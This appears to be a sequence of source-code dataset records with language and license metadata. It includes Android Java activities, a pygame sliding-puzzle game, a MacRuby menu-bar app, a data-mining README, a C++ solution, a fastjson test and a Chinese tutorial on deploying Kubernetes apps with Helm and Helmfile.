ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { String restaurant_title = dataSnapshot.child("name").getValue(String.class); String category = dataSnapshot.child("category").getValue(String.class); String price = dataSnapshot.child("price").getValue(String.class); String waitTime = dataSnapshot.child("waitTime").getValue(String.class); int queueNumber = dataSnapshot.child("queueNumber").getValue(Integer.class); String coverImageURL = dataSnapshot.child("coverImage").getValue(String.class); String queueNumberString = String.valueOf(queueNumber); // Set values into layout resName.setText(restaurant_title); resCategory.setText(category); resPrice.setText(price); resWaitTime.setText(waitTime); resQueueNumber.setText(queueNumberString); Picasso.with(ExploreContentActivity.this).load(coverImageURL).into(coverImage); System.out.println(restaurant_title + " " + category + " " + price + " " + queueNumber + " " + waitTime + " " + coverImageURL); } @Override public void onCancelled(DatabaseError databaseError) { } }); //====================================== //=== Instaline Line up button SETUP === //====================================== lineUpBtn = (Button)findViewById(R.id.lineup); lineUpBtn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { final String restaurant = restID; final String userID = firebaseAuth.getCurrentUser().getUid(); final DatabaseReference restDict = databaseReference.child("Restaurant"); DatabaseReference userDict = databaseReference.child("Users"); final DatabaseReference currentUser = userDict.child(userID); final DatabaseReference chosenRest = restDict.child(restaurant); DatabaseReference checkNumRest = currentUser.child("Wait"); databaseReference.addListenerForSingleValueEvent(new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { DataSnapshot restDict = dataSnapshot.child("Restaurant"); DataSnapshot userList = dataSnapshot.child("Users"); DataSnapshot Rest = restDict.child(restaurant); DataSnapshot User = userList.child(userID); String username = User.child("username").getValue(String.class); String profile = User.child("profileImage").getValue(String.class); int queueNumber = Rest.child("TimeStamp").getValue(Integer.class); Iterable<DataSnapshot> iterable = User.child("Wait").getChildren(); Iterator iterator = iterable.iterator(); int count = 0; while (iterator.hasNext()){ Object placeholder = iterator.next(); System.out.println(placeholder); count ++; } boolean checkExist = User.child("Wait").hasChild(restaurant); if (count >= 5){ Toast.makeText(ExploreContentActivity.this, "No more than 5 Lineup is allowed", Toast.LENGTH_SHORT).show(); } if (checkExist){ Toast.makeText(ExploreContentActivity.this, "Already lined up for this restaurant", Toast.LENGTH_SHORT).show(); } if (!checkExist & count < 5) { int TimeStamp = Rest.child("TimeStamp").getValue(Integer.class); int queue = Rest.child("queueNumber").getValue(Integer.class); //int last = Rest.child("lastDelete").getValue(Integer.class); currentUser.child("Wait").child(restaurant).child("TimeStamp").setValue(TimeStamp); currentUser.child("Wait").child(restaurant).child("lineNumber").setValue(queue + 1); chosenRest.child("queueNumber").setValue(queue + 1); chosenRest.child("TimeStamp").setValue(TimeStamp + 1); chosenRest.child("UserQueue").child(userID).child("queueNumber").setValue(TimeStamp); chosenRest.child("UserQueue").child(userID).child("nickName").setValue(username); chosenRest.child("UserQueue").child(userID).child("profile").setValue(profile); } } @Override public void onCancelled(DatabaseError databaseError) { } }); } }); } }
Python
UTF-8
5,399
3.203125
3
[]
no_license
import pygame import random pygame.init() SCREEN_WIDTH = SCREEN_HEIGHT = 400 SCREEN = pygame.display.set_mode((SCREEN_WIDTH,SCREEN_HEIGHT)) pygame.display.set_caption("15 Puzzle") clock = pygame.time.Clock() WHITE = (255,255,255) BLACK = (0,0,0) def check_validity_of_board(board): empty_index= board.index(None) index_from_bottom = 4 - empty_index // 4 inversions = 0 for i in range(len(board) - 1): if i == empty_index: continue number_1 = board[i] for j in range(i + 1,len(board)): if j == empty_index: continue number_2 = board[j] if number_2 < number_1: inversions += 1 print(inversions) print(index_from_bottom) if index_from_bottom % 2 == 1: return not inversions % 2 == 0 return not inversions % 2 == 1 def generate_board(): not_valid = True board = [None if i == 0 else i for i in range(16)] while not_valid: random.shuffle(board) not_valid = check_validity_of_board(board) new_board = [] for i in range(4): new_board.append(board[i * 4:i * 4 + 4]) print(new_board) return new_board board = generate_board() font = pygame.font.SysFont("comicsansms",42) winning_board = [[1,2,3,4],[5,6,7,8],[9,10,11,12],[13,14,15,None]] def check_win(): return board == winning_board def create_initial_text_objects(): texts = [[None for _ in range(len(board[0]))] for _ in range(len(board[0]))] for row in range(len(board)): for col in range(len(board[0])): if board[row][col] != None: text =font.render(f"{board[row][col]}",True,BLACK) texts[row][col] = text return texts texts = create_initial_text_objects() ROWS = COLS = 4 SQUARE_LENGTH = 100 WHITE = (255,255,255) BLACK = (0,0,0) surface = pygame.Surface((SQUARE_LENGTH,SQUARE_LENGTH),pygame.SRCALPHA) WHITE_TRANSPARENT = (0,0,0,50) surface.fill(WHITE_TRANSPARENT) def draw_board(): for y in range(0,SCREEN_HEIGHT,SQUARE_LENGTH): pygame.draw.line(SCREEN,BLACK,(0,y),(SCREEN_WIDTH,y)) for x in range(0,SCREEN_WIDTH,SQUARE_LENGTH): pygame.draw.line(SCREEN,BLACK,(x,0),(x,SCREEN_HEIGHT)) for row in range(ROWS): for col in range(COLS): if board[row][col] != None: x,y = col * SQUARE_LENGTH,row * SQUARE_LENGTH text = texts[row][col] SCREEN.blit(text,(x + (SQUARE_LENGTH//2 - text.get_width()//2),y + SQUARE_LENGTH//2 - text.get_height()//2)) else: pygame.draw.rect(SCREEN,BLACK,(col * SQUARE_LENGTH,row * SQUARE_LENGTH,SQUARE_LENGTH,SQUARE_LENGTH)) def display_animation(row,col,neighbor_row,neighbor_col): previous = board[row][col] board[row][col] = None square = pygame.Surface((SQUARE_LENGTH,SQUARE_LENGTH)) square.fill(WHITE) vertical = False if neighbor_row != row: vertical = True current = row * SQUARE_LENGTH target = neighbor_row * SQUARE_LENGTH delta = -1 if neighbor_row < row else 1 else: current = col * SQUARE_LENGTH target = neighbor_col * SQUARE_LENGTH delta = -1 if neighbor_col < col else 1 number_text = font.render(str(previous),True,(0,0,0)) while current != target: current += delta SCREEN.fill(WHITE) draw_board() SCREEN.blit(square,(current if not vertical else col * SQUARE_LENGTH,current if vertical else row * SQUARE_LENGTH)) if vertical: text_coordinates = (col * SQUARE_LENGTH + (SQUARE_LENGTH//2 - number_text.get_width()//2),current + (SQUARE_LENGTH//2 -number_text.get_height()//2)) else: text_coordinates = (current + (SQUARE_LENGTH//2 - number_text.get_width()//2),row * SQUARE_LENGTH + (SQUARE_LENGTH//2 - number_text.get_height()//2)) SCREEN.blit(number_text,text_coordinates) pygame.display.update() board[row][col] = previous def if_valid_square_switch(row,col): for neighbor_row,neighbor_col in ((row + 1,col),(row -1,col),(row,col + 1),(row,col -1)): if 0 <= neighbor_row < ROWS and 0 <= neighbor_col < COLS and board[neighbor_row][neighbor_col] == None: display_animation(row,col,neighbor_row,neighbor_col) board[row][col],board[neighbor_row][neighbor_col] = board[neighbor_row][neighbor_col],board[row][col] texts[row][col],texts[neighbor_row][neighbor_col] = texts[neighbor_row][neighbor_col],texts[row][col] return True return False done = False while not done: for event in pygame.event.get(): if event.type == pygame.QUIT: done = True elif event.type == pygame.MOUSEBUTTONDOWN: x,y = pygame.mouse.get_pos() col,row = x//SQUARE_LENGTH,y//SQUARE_LENGTH valid = if_valid_square_switch(row,col) if valid: game_over = check_win() #generate a new board SCREEN.fill(WHITE) draw_board() if pygame.mouse.get_focused() == 1: x,y = pygame.mouse.get_pos() col,row = x//SQUARE_LENGTH,y//SQUARE_LENGTH SCREEN.blit(surface,(col * SQUARE_LENGTH,row * SQUARE_LENGTH)) pygame.display.update()
Ruby
UTF-8
2,601
2.578125
3
[]
no_license
#!/usr/local/bin/macruby # cf. https://gist.github.com/245402/8a52e988c2e65be7e497850085034835aa6aaea2 # framework 'Cocoa' class StatusBar def self.set_menu_items @year = Time.now.year.to_s @title = 'Troll-o-matic' @author = 'nate' @about = ["Troll-o-matic\nbendable pliers, inc.\n#{@year}", @author, "Thanks"] @menus = {"Update" => "update:", "Display" => "display:", "About #{@title}" => "about:"} end # We build the status bar item menu def self.setup_menu(menus) menu = NSMenu.new menu.initWithTitle @title menu = NSMenu.new menus.each_pair do |k,v| mi = NSMenuItem.new mi.title = k mi.action = v mi.target = self menu.addItem mi end menu end # Init the status bar def self.init_status_bar(menu) status_bar = NSStatusBar.systemStatusBar status_item = status_bar.statusItemWithLength(NSVariableStatusItemLength) status_item.setMenu menu img = NSImage.new.initWithContentsOfFile ARGV[0] status_item.setImage(img) status_item.setTitle("IT SEC STATUS: NORMAL") end # # Menu Item Actions # def self.about(sender,about) about = @about alert = NSAlert.new alert.messageText = about[0] alert.informativeText = about[1] alert.alertStyle = NSInformationalAlertStyle alert.addButtonWithTitle(about[2]) alert.setIcon(NSImage.new.initWithContentsOfFile "trollface_big.png") response = alert.runModal end # set prefs def self.set_prefs # writeToFile_atomically end # get prefs def self.get_prefs() # test whether prefs exist # if not, set_prefs with some defaults, then read them # https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/UserDefaults/Introduction/Introduction.html # @config = load_plist File.read("/Library/Preferences/pref.plist") # read: NSDictionary.dictionaryWithContentsOfFile end # parse rss feed def self.parse_rss(feed) feed = NSURL.URLWithString(ARGV[1]) end # scrape a page for something def self.scrape_page(url) url = NSURL.URLWithString(url) end # display menu action def self.display(sender) url = NSURL.URLWithString(ARGV[1]) response = NSWorkspace.sharedWorkspace.openURL(url) end # update menu action def self.update(sender) url = NSURL.URLWithString(ARGV[1]) response = NSWorkspace.sharedWorkspace.openURL(url) end def quit(sender) app = NSApplication.sharedApplication app.terminate(self) end def self.new app = NSApplication.sharedApplication # Create the status bar item, add the menu and set the image init_status_bar(setup_menu(set_menu_items)) app.run end end StatusBar.new
Markdown
UTF-8
1,613
2.78125
3
[ "MIT" ]
permissive
<h1 align="center"> <img alt="data-mining-logo" src="assets/logo.png" width="200px" /> </h1> <div align="center"> <h1> Data-Mining </h1> <h3> Data-Mining é uma aplicação de mineração de dados que usa o fluxo de processo CRISP-DM. <br /> </h3> </div> <p align="center">“Sua única limitação é você mesmo”!</blockquote> <p align="center"> <a href="#rocket-sobre-o-projeto">Sobre o projeto</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp; <a href="#rocket-instalando-dependências">Instalando dependências</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp; <a href="#arrow_forward-clonando-o-repositório">Clonando o repositório</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp; <a href="#wrench-rodando-aplicação">Rodando Aplicação</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp; </p> ## :rocket: Sobre o projeto Data-Mining é um projeto criado na disciplina de mineração de dados. Construido usando Python e Jupyter com o fluxo de processo CRISP-DM. Sua finalidade é reproduzir todas as etapas nos processo: Business Understanding, Data Understanding, Data Preparation, Modeling, Evoluation e Deploy. ## :rocket: Instalando dependências Instalação do Python: ```sh $ sudo apt install python3.8 ``` Instalação do PIP: ```sh $ sudo apt install python-pip ``` Instalação do Jupyter: ```sh $ pip install jupyterlab $ pip install notebook ``` ## :arrow_forward: Clonando o repositório ```sh $ git clone https://github.com/prof-alexandre-maciel/mineracao-de-dados-2020-3.git ``` ## :wrench: Rodando Aplicação execute os comandos: ```sh $ cd itemm/scripts $ jupyter notebook ``` ---
C++
UTF-8
468
2.625
3
[]
no_license
// 應啦幹 #include<bits/stdc++.h> using namespace std; typedef long long LL; vector<pair<LL, LL>> A; int main() { LL N, a, cnt=0; cin >> N; A.resize(2*N); for(LL i=0; i<2*N; ++i) { cin >> a; A[i] = make_pair(a, i); } sort(A.begin(), A.end()); cnt += A[0].second + A[1].second; for(LL i=2; i<2*N; i+=2) { cnt += abs(A[i].second - A[i-2].second) + abs(A[i+1].second - A[i-1].second); } cout << cnt; }
Java
UTF-8
810
2.171875
2
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
package com.alibaba.json.bvt.bug; import org.junit.Assert; import junit.framework.TestCase; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Bug_for_agapple_2 extends TestCase { public void test_bug() throws Exception { DbMediaSource obj = new DbMediaSource(); obj.setType(DataMediaType.ORACLE); JSONObject json = (JSONObject) JSON.toJSON(obj); Assert.assertEquals("ORACLE", json.get("type")); } public static class DbMediaSource { private DataMediaType type; public DataMediaType getType() { return type; } public void setType(DataMediaType type) { this.type = type; } } public static enum DataMediaType { ORACLE, MYSQL } }
Java
UTF-8
5,865
1.953125
2
[]
no_license
/** * @created 2015-03-07 * @author gideon mw jones. */ package uk.ac.aber.gij2.olandroid.view; import android.app.AlertDialog; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.view.ContextMenu; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.ListView; import android.widget.TextView; import uk.ac.aber.gij2.olandroid.controller.FlightManager; import uk.ac.aber.gij2.olandroid.controller.OLANdroid; import uk.ac.aber.gij2.olandroid.R; import uk.ac.aber.gij2.olandroid.model.Flight; public class FlightManagerActivity extends ActionBarActivity implements AdapterView.OnItemClickListener, DialogInterface.OnDismissListener { private OLANdroid app; private ArrayAdapter adapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_flight_manager); app = (OLANdroid) getApplication(); // if this is the first launch, show the help if (app.getIsFirstLaunch()) { AlertDialog.Builder dialog = new AlertDialog.Builder(this).setView(getLayoutInflater().inflate(R.layout.dialog_help, null)).setTitle(R.string.a_first).setMessage(R.string.a_first_message); dialog.setPositiveButton(R.string.a_dismiss, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int id) { dialog.dismiss(); } }); dialog.create().show(); } // adapter for converting flights into a listview adapter = new ArrayAdapter<Flight>(app, R.layout.list_flight, FlightManager.getInstance().getFlights()) { @Override public View getView(int position, View convertView, ViewGroup parent) { View row = ((LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE)) .inflate(R.layout.list_flight, parent, false); ((TextView) row.findViewById(R.id.lf_text_name)).setText(getItem(position).getName()); ((TextView) row.findViewById(R.id.lf_text_olan)).setText(getItem(position).getOLAN()); return row; } }; ListView listFlights = (ListView) findViewById(R.id.fma_list_flights); // setup the listeners listFlights.setAdapter(adapter); listFlights.setOnItemClickListener(this); registerForContextMenu(listFlights); } @Override protected void onStart() { super.onStart(); // refreshing the list to reflect any changes adapter.notifyDataSetChanged(); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.menu_flight_manager, menu); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case R.id.menu_fma_new: app.setFlight(null); startActivity(new Intent(this, BuildFlightActivity.class)); break; case R.id.menu_a_help: AlertDialog.Builder dialog = new AlertDialog.Builder(this).setView(getLayoutInflater().inflate(R.layout.dialog_help, null)).setTitle(R.string.a_help).setMessage(R.string.fma_help); dialog.setPositiveButton(R.string.a_dismiss, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int id) { dialog.dismiss(); } }); dialog.create().show(); break; case R.id.menu_a_about: startActivity(new Intent(this, AboutActivity.class)); break; case R.id.menu_a_settings: startActivity(new Intent(this, SettingsActivity.class)); break; } return super.onOptionsItemSelected(item); } @Override public void onItemClick(AdapterView<?> parent, final View view, int position, long id) { app.setFlight(FlightManager.getInstance().getFlights().get(position)); startActivity(new Intent(this, VisualisationActivity.class)); } @Override public void onCreateContextMenu(ContextMenu menu, View view, ContextMenu.ContextMenuInfo menuInfo) { super.onCreateContextMenu(menu, view, menuInfo); getMenuInflater().inflate(R.menu.menu_flight_manager_context, menu); } @Override public boolean onContextItemSelected(MenuItem item) { // setting the flight the context menu is for to be the current flight app.setFlight((Flight) adapter.getItem( ((AdapterView.AdapterContextMenuInfo) item.getMenuInfo()).position)); switch (item.getItemId()){ case R.id.menu_fma_c_load: startActivity(new Intent(this, VisualisationActivity.class)); break; case R.id.menu_fma_c_edit: startActivity(new Intent(this, BuildFlightActivity.class)); break; case R.id.menu_fma_c_rename: new FlightTitleDialogFragment().show(getFragmentManager(), "flight_title"); break; case R.id.menu_fma_c_delete: FlightManager.getInstance().deleteFlight(app.getFlight()); app.setFlight(null); break; } // updating the list adapter.notifyDataSetChanged(); return super.onContextItemSelected(item); } @Override public void onDismiss(DialogInterface dialog) { // updating things once a dialog has been dismissed adapter.notifyDataSetChanged(); } }
Java
UTF-8
768
1.875
2
[]
no_license
package com.cobble.takeaway.dao; import java.util.List; import com.cobble.takeaway.pojo.weixin.WxAuthorizerInfoPOJO; import com.cobble.takeaway.pojo.weixin.WxAuthorizerInfoSearchPOJO; public interface WxAuthorizerInfoMapper { int insert(WxAuthorizerInfoPOJO wxAuthorizerInfoPOJO) throws Exception; int update(WxAuthorizerInfoPOJO wxAuthorizerInfoPOJO) throws Exception; List<WxAuthorizerInfoPOJO> finds(WxAuthorizerInfoSearchPOJO wxAuthorizerInfoSearchPOJO) throws Exception; int getCount(WxAuthorizerInfoSearchPOJO wxAuthorizerInfoSearchPOJO) throws Exception; WxAuthorizerInfoPOJO findById(Long id) throws Exception; int deleteById(Long id) throws Exception; WxAuthorizerInfoPOJO findWxAuthorizerInfoByIndexCode(String indexCode) throws Exception; }
Markdown
UTF-8
35,860
2.84375
3
[]
no_license
<p data-nodeid="8554" class="">第 39 课时介绍了持续集成,本课时接着介绍如何实现持续部署,持续部署从容器镜像开始,把应用所有的微服务部署在云平台上。当有新的容器镜像被发布之后,持续部署负责更新应用。对于微服务架构的应用来说,持续部署需确保相互独立的各个微服务可以协同工作;对于多个微服务相互协作的场景,需要在持续部署的环境上进行测试。本课时介绍的持续部署的实现方式,不限定于特定的云平台,只需要有能够正常访问的 Kubernetes 集群即可。</p> <p data-nodeid="8555">每个微服务都需要独立部署,包括服务本身,以及服务依赖的支撑服务等。在这些支撑服务中,有些是微服务独有的,比如数据库;有些则是很多微服务共享的,比如 Apache Kafka 这样的消息代理。Kubernetes 上基本的部署方式是创建部署、有状态集和服务等资源,以 YAML 文件来描述,可直接通过 YAML 文件来创建资源的做法,只适合于非常简单的应用。当应用变得复杂时,需要 更 有效 的方式来管理部署相关的各种资源。目前在 Kubernetes 上最常用的部署方式是使用 Helm。</p> <h3 data-nodeid="8556">Helm 介绍</h3> <p data-nodeid="8557">Helm 是 Kubernetes 上的软件包管理软件,类似于 Node.js 中的 npm 或 yarn,其已经成为 Kubernetes 上管理软件的事实上的标准。Helm 是 CNCF 中已经毕业的项目,由社区负责维护,目前有 2 和 3 两个主流版本,本课时以最新版本 3 为主。</p> <p data-nodeid="8558">Helm 中的每个软件包称为<strong data-nodeid="8727">图表(Chart)</strong>,它的一个优势是促进了应用软件包的共享。社区贡献了很多运行不同应用的图表,发布在公共的图表仓库中。绝大部分公开的应用,都可以在仓库中找到相应的 Helm 图表。通过 <a href="https://hub.helm.sh/" data-nodeid="8725">Helm Hub</a>可以发布和查找 Helm 图表。</p> <p data-nodeid="8559">Helm 中有 3 个基本的概念,如下表所示。</p> <table data-nodeid="8561"> <thead data-nodeid="8562"> <tr data-nodeid="8563"> <th data-org-content="**概念**" data-nodeid="8565"><strong data-nodeid="8732">概念</strong></th> <th data-org-content="**说明**" data-nodeid="8566"><strong data-nodeid="8736">说明</strong></th> </tr> </thead> <tbody data-nodeid="8569"> <tr data-nodeid="8570"> <td data-org-content="图表" data-nodeid="8571">图表</td> <td data-org-content="创建 Kubernetes 上应用的实例所需的信息集合" data-nodeid="8572">创建 Kubernetes 上应用的实例所需的信息集合</td> </tr> <tr data-nodeid="8573"> <td data-org-content="配置" data-nodeid="8574">配置</td> <td data-org-content="配置信息,与图表合并来创建可以发布的对象" data-nodeid="8575">配置信息,与图表合并来创建可以发布的对象</td> </tr> <tr data-nodeid="8576"> <td data-org-content="发行" data-nodeid="8577">发行</td> <td data-org-content="图表的一个运行中的实例,与配置结合在一起" data-nodeid="8578">图表的一个运行中的实例,与配置结合在一起</td> </tr> </tbody> </table> <p data-nodeid="8579">以 PostgreSQL 的 Helm 图表为例,该图表中包含了部署 PostgreSQL 所需的有状态集、配置表、服务和密钥等资源的声明;配置指的是根据应用部署的需要,为图表提供的配置项指定具体值,比如设置数据库的名称、访问数据库的用户名和密码等。把自定义配置值和图表结合起来,就得到了一个发行,可以在 Kubernetes 上运行。</p> <p data-nodeid="8580">我们可以在 Bitnami 的 Helm 图表仓库中找到 PostgreSQL 图表。在使用图表之前,首先需要把该 Helm 图表仓库添加到 Helm 中,如下面的代码所示。</p> <pre class="lang-java" data-nodeid="8581"><code data-language="java">$ helm repo add bitnami https:<span class="hljs-comment">//charts.bitnami.com/bitnami</span> </code></pre> <p data-nodeid="8582">每个 Helm 图表的根目录下都包含一个 values.yaml 文件,该文件中包含了图表提供的配置项及默认值。在以 helm install 命令来安装应用时,可以通过 --set 参数来指定配置项的值,或是通过 -f 参数来指定包含配置值的文件。提供的配置值会覆盖图表所提供的默认值。</p> <p data-nodeid="8583">下面代码中的 YAML 文件是安装 PostgreSQL 图表时使用的配置文件的内容。</p> <pre class="lang-yaml" data-nodeid="8584"><code data-language="yaml"><span class="hljs-string">postgresqlDatabase:</span>&nbsp;<span class="hljs-string">testdb</span> <span class="hljs-string">postgresqlUsername:</span>&nbsp;<span class="hljs-string">myuser</span> <span class="hljs-string">postgresqlPassword:</span>&nbsp;<span class="hljs-string">mypassword</span> </code></pre> <p data-nodeid="8585">通过下面的命令安装 Helm 图表,第一个参数是发行的名称。</p> <pre class="lang-java" data-nodeid="8586"><code data-language="java">$ helm install test-postgresql -f values.yaml bitnami/postgresql </code></pre> <p data-nodeid="8587">当需要对已有的应用发行进行修改时,可以使用 helm upgrade 命令,如下所示。在进行修改时,我们提供了新的配置文件。</p> <pre class="lang-java" data-nodeid="8588"><code data-language="java">$ helm upgrade test-postgresql -f values-v2.yaml bitnami/postgresql </code></pre> <p data-nodeid="8589">Helm 负责记录每次对发行所做的修改,通过 helm history 命令可以查看一个发行的全部历史版本信息。如果对发行所做的修改产生了问题,可以通过 helm rollback 命令来回退到指定的版本。在下面的代码中,把发行 test-postgresql 回退到版本 1。</p> <pre class="lang-java" data-nodeid="8590"><code data-language="java">$ helm rollback test-postgresql <span class="hljs-number">1</span> </code></pre> <p data-nodeid="8591">通过 helm uninstall 命令可以删除应用的发行,如下面的代码所示。</p> <pre class="lang-java" data-nodeid="8592"><code data-language="java">$ helm uninstall test-postgresql </code></pre> <p data-nodeid="8593">除了上面提供的命令之外,常用的其他 Helm 命令如下表所示:</p> <table data-nodeid="8595"> <thead data-nodeid="8596"> <tr data-nodeid="8597"> <th data-org-content="**命令**" data-nodeid="8599"><strong data-nodeid="8755">命令</strong></th> <th data-org-content="**说明**" data-nodeid="8600"><strong data-nodeid="8759">说明</strong></th> </tr> </thead> <tbody data-nodeid="8603"> <tr data-nodeid="8604"> <td data-org-content="list" data-nodeid="8605">list</td> <td data-org-content="列出来所有的发行" data-nodeid="8606">列出来所有的发行</td> </tr> <tr data-nodeid="8607"> <td data-org-content="plugin" data-nodeid="8608">plugin</td> <td data-org-content="管理 Helm 插件" data-nodeid="8609">管理 Helm 插件</td> </tr> <tr data-nodeid="8610"> <td data-org-content="pull" data-nodeid="8611">pull</td> <td data-org-content="从仓库中下载图表文件到本地" data-nodeid="8612">从仓库中下载图表文件到本地</td> </tr> <tr data-nodeid="8613"> <td data-org-content="search" data-nodeid="8614">search</td> <td data-org-content="搜索图表" data-nodeid="8615">搜索图表</td> </tr> <tr data-nodeid="8616"> <td data-org-content="show" data-nodeid="8617">show</td> <td data-org-content="显示图表的信息" data-nodeid="8618">显示图表的信息</td> </tr> <tr data-nodeid="8619"> <td data-org-content="status" data-nodeid="8620">status</td> <td data-org-content="查看 Helm 发行的状态" data-nodeid="8621">查看 Helm 发行的状态</td> </tr> </tbody> </table> <h3 data-nodeid="8622">创建 Helm 图表</h3> <p data-nodeid="8623">虽然公开的 Helm 图表仓库中包含了常用服务的图表,但是安装 私有 应用的图表需要手动创建。以行程管理服务的 Helm 图表来进行说明,我们首先使用 helm create 命令来创建图表,如下面的代码所示。</p> <pre class="lang-java" data-nodeid="8624"><code data-language="java">$ helm create trip-service </code></pre> <p data-nodeid="8625">该命令会在当前目录下创建一个名为 trip-service 的子目录,其中包含了 Helm 图表的基本代码。下面的代码给出了自动创建 的 图表所包含的目录和文件。</p> <pre class="lang-yaml" data-nodeid="8626"><code data-language="yaml"><span class="hljs-string">│</span> <span class="hljs-string">.helmignore</span> <span class="hljs-string">│</span> <span class="hljs-string">Chart.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">values.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">├─charts</span> <span class="hljs-string">└─templates</span> <span class="hljs-string">│</span> <span class="hljs-string">deployment.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">hpa.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">ingress.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">NOTES.txt</span> <span class="hljs-string">│</span> <span class="hljs-string">service.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">serviceaccount.yaml</span> <span class="hljs-string">│</span> <span class="hljs-string">_helpers.tpl</span> <span class="hljs-string">│</span> <span class="hljs-string">└─tests</span> <span class="hljs-string">test-connection.yaml</span> </code></pre> <p data-nodeid="8627">下表给出了这些目录或文件的说明。</p> <table data-nodeid="8629"> <thead data-nodeid="8630"> <tr data-nodeid="8631"> <th data-org-content="**文件或目录**" data-nodeid="8633"><strong data-nodeid="8779">文件或目录</strong></th> <th data-org-content="**说明**" data-nodeid="8634"><strong data-nodeid="8783">说明</strong></th> </tr> </thead> <tbody data-nodeid="8637"> <tr data-nodeid="8638"> <td data-org-content="Chart.yaml" data-nodeid="8639">Chart.yaml</td> <td data-org-content="图表的元数据,包括名称、描述、类型和版本号" data-nodeid="8640">图表的元数据,包括名称、描述、类型和版本号</td> </tr> <tr data-nodeid="8641"> <td data-org-content="values.yaml" data-nodeid="8642">values.yaml</td> <td data-org-content="图表提供的配置项及其默认值" data-nodeid="8643">图表提供的配置项及其默认值</td> </tr> <tr data-nodeid="8644"> <td data-org-content="charts" data-nodeid="8645">charts</td> <td data-org-content="所依赖的其他图表" data-nodeid="8646">所依赖的其他图表</td> </tr> <tr data-nodeid="8647"> <td data-org-content="templates" data-nodeid="8648">templates</td> <td data-org-content="资源的模板" data-nodeid="8649">资源的模板</td> </tr> </tbody> </table> <p data-nodeid="8650">对一个 Helm 图表来说,最重要的是 templates 目录中包含的模板文件。下表给出了 templates 目录下的 子 目录或文件的说明。</p> <table data-nodeid="8652"> <thead data-nodeid="8653"> <tr data-nodeid="8654"> <th data-org-content="**文件或目录**" data-nodeid="8656"><strong data-nodeid="8796">文件或目录</strong></th> <th data-org-content="**说明**" data-nodeid="8657"><strong data-nodeid="8800">说明</strong></th> </tr> </thead> <tbody data-nodeid="8660"> <tr data-nodeid="8661"> <td data-org-content="\_helpers.tpl" data-nodeid="8662">_helpers.tpl</td> <td data-org-content="包含可复用的变量的声明" data-nodeid="8663">包含可复用的变量的声明</td> </tr> <tr data-nodeid="8664"> <td data-org-content="YAML文件" data-nodeid="8665">YAML文件</td> <td data-org-content="Kubernetes 资源声明模板" data-nodeid="8666">Kubernetes 资源声明模板</td> </tr> <tr data-nodeid="8667"> <td data-org-content="NOTES.txt" data-nodeid="8668">NOTES.txt</td> <td data-org-content="图表安装之后显示的内容" data-nodeid="8669">图表安装之后显示的内容</td> </tr> <tr data-nodeid="8670"> <td data-org-content="tests" data-nodeid="8671">tests</td> <td data-org-content="图表测试用例" data-nodeid="8672">图表测试用例</td> </tr> </tbody> </table> <p data-nodeid="8673">templates 目录下的每个模板文件都会被转换成 YAML 文件,并应用到 Kubernetes 中。一个模板文件中通常包含一个 Kubernetes 资源,在模板文件中可以引用 values.yaml 文件中的 配置项 。Helm 提供了很多内置的函数来生成模板中的内容。</p> <p data-nodeid="8674">由 helm create 命令创建的图表用来安装 Nginx,从 templates 目录中可以看到与 Kubernetes 中的部署、Ingress、服务、服务账户和 Pod 自动水平扩展相关的资源。</p> <p data-nodeid="8675">对行程管理服务来说,我们只需要对生成的图表中的 Kubernetes 部署的模板进行修改即可。 图表的完整代码请参考 GitHub 上源代码中的 K 8s 目录。</p> <h3 data-nodeid="8676">Helmfile 介绍</h3> <p data-nodeid="8677">通过 Helm 的图表可以方便地安装单个应用。但是当需要同时安装多个互相关联的应用时,单独使用 Helm 很难进行管理。在安装 Helm 的图表时,配置项的值通过 YAML 文件来传递,一个常见的需求是在安装两个不同的图表时,使用同样的配置值。一个典型的场景是访问数据库的用户名和密码,同样的用户名和密码,在 PostgreSQL 的图表,以及使用该 PostgreSQL 的行程管理服务的图表中,都会被用到。我们希望的做法是只在一个地方维护这些配置项的值,不仅减少了代码重复,配置修改时也会变得更简单。</p> <p data-nodeid="8678">在目前的版本中,Helm 并没有提供一种比较有效的方式来在两个独立的图表之间共享配置。 这主要是因为 Helm 的 values.yaml 文件不支持模板的语法,必须是实际的配置值。在 Helm 的 GitHub 上,2017 年就有人提出了<a href="https://github.com/helm/helm/issues/2492" data-nodeid="8818">这个问题</a>,但是 Helm 一直没有解决。 比较可行的做法是把 PostgreSQL 的图表作为行程管理服务的子图表,这样以全局变量的形式在父图表和子图表之间传递值。不过这种做法的限制比较多,有些图表之间并不存在直接的父子关系。<a href="https://github.com/roboll/helmfile" data-nodeid="8822">Helmfile</a>是解决这一问题的工具。</p> <p data-nodeid="8679">Helmfile 通过 helmfile.yaml 文件来管理多个 Helm 发行。下面的代码是行程管理服务使用的 helmfile.yaml 文件的内容,在这个文件中,repositories 用来声明获取 Helm 图表的仓库,这里定义了 Bitnami 的仓库。releases 用来声明 Helm 